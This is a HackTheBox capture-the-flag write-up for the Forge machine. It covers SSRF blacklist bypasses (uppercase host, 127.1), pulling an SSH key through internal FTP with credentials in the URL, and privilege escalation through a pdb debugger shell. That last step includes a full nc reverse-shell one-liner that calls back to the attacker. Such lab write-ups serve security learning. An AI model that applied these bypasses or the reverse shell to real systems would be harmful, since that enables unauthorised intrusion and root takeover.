Forge Hackthebox writeup
detailed writeup for retired machine Forge From Hackthebox
Scanning :
- basic scanning
note : add <ip> forge.htb
to the /etc/hosts
nmap -sV -A -T 4 10.10.11.111
output :
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
- we can run all ports scan in the Background Until we enumerate the ports we have But it won’t return any new .
Enumeration :
- port 21 : is Filtered trying to access it
ftp <ip>
returns
ftp: connect: Connection timed out
so it seems we can’t access it Publicly
- port 80 : “the web application”
- we have some images located at
/static/images
, knowing that from page source code . so probably image we upload won’t be rendered on this page
- and we have upload an image Function with 2 options either from your machine or form url
- testing from my machine to upload a .png file and see
-
it also accepts any extension and assign a random name to it
-
testing from url :
firing up a python http server at my local machine then watch the request made we can see parameters sent are :
url=http%3A%2F%2F<my_ip>%3A8888%2Ftest.png&remote=1
and it made the request successfully :
10.10.11.111 - - [16/Jan/2022 17:31:20] "GET /test.png HTTP/1.1"
what about internal address ?
- trying http://127.0.0.1 result :
URL contains a blacklisted address!
so it makes some filtering in case we try localhost address indicating maybe we are against SSRF .
trying some Bypasses and those doesn’t return Blacklisted message
http://127.1
http://LOCALHOST
trying : file:///etc/passwd
returns :
Invalid protocol! Supported protocols: http, https
so now we know the following :
- we have ftp running internally
- we have ssrf to access local things
- accepts http and https only , ftp is not supported
More Enumeration :
Typically in HTB , another Vhost is a common scenario so trying to get Fuzzing it with ffuf
ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million 5000.txt -u http://forge.htb/ -H "Host: FUZZ.forge.htb" -fc 302,404
output:
admin [Status: 200, Size: 27, Words: 4, Lines: 2]
add admin.forge.htb
to /etc/hosts
trying to access it :
so putting things together we will have one conclusion to continue from :
forge.htb
can make a valid request to admin.forge.htb
, we can achieve that:
Back to the upload from url vulnerable Function and trying http://admin.forge.htb
returns the blacklist message , so forge.htb
seems to Be blocked also.
trying : http://admin.forge.HTB
then downloading the page and see contents :
so we have the following directories at the admin.forge.htb
/announcements
/upload
/
Back to the upload from url and requesting
http://admin.forge.HTB/announcements
downloading the page to see the content we can see :
- so we have credentials : user:heightofsecurity123!
-
i tried to ssh with those But it can’t access ssh with a public key so it seems we have to get the
id_rsa
somehow if we want to ssh into the machine. - so depending on page
/announcements
we can useftp://
with the upload page in thisadmin.forge.HTB
.
Foothold :
http://admin.forge.HTB/upload?u=ftp://
But How could we access the ftp with a user:password from web url ?
- reading here
- we can use the following syntax :
http://admin.forge.HTB/upload?u=ftp://user:heightofsecurity123!@127.1
downloading the content :
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Jan 17 00:17 user.txt
seems we are in the home directory of user user so let’s try read the id_rsa
- using the following url and download content :
http://admin.forge.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/.ssh/id_rsa
chmod 600 id_rsa
ssh -i id_rsa user@10.10.11.111
Privilege escalation :
checking permissions :
-rwxr-xr-x 1 root root 1447 May 31 2021 /opt/remote-manage.py
reading and analyzing the script :
- first it sets a listener on a random port
- we can only access the port locally so we will get a second ssh session to interact with it .
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
2- asks for a password and it should = secretadminpassword
, then waits for option from 1-4
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
3- options we have :
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
if we raise an error it will open a pdb debugger shell
which we can abuse to have a reverse shell as root :
the other ssh session to interact with the port listening :
raised the error by typing id
while it expects a number and get the pdb shell we can now get a reverse shell :
(/assets/images/Forge/Pdb) import os
(/assets/images/Forge/Pdb) os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <my_ip> 9999 >/tmp/f")
gain root reverse shell :
Pwned
investigation :
we have at /var/www
the following :
html forge admin
in the source code we can see :
blacklist = ["forge.htb", "127.0.0.1", "10.10.10.10", "::1", "localhost",
'0.0.0.0', '[0:0:0:0:0:0:0:0]']
which is not enough Filtering to mitigate SSRF , we have Bypassed that By changing any letter at forge.htb
to Uppercase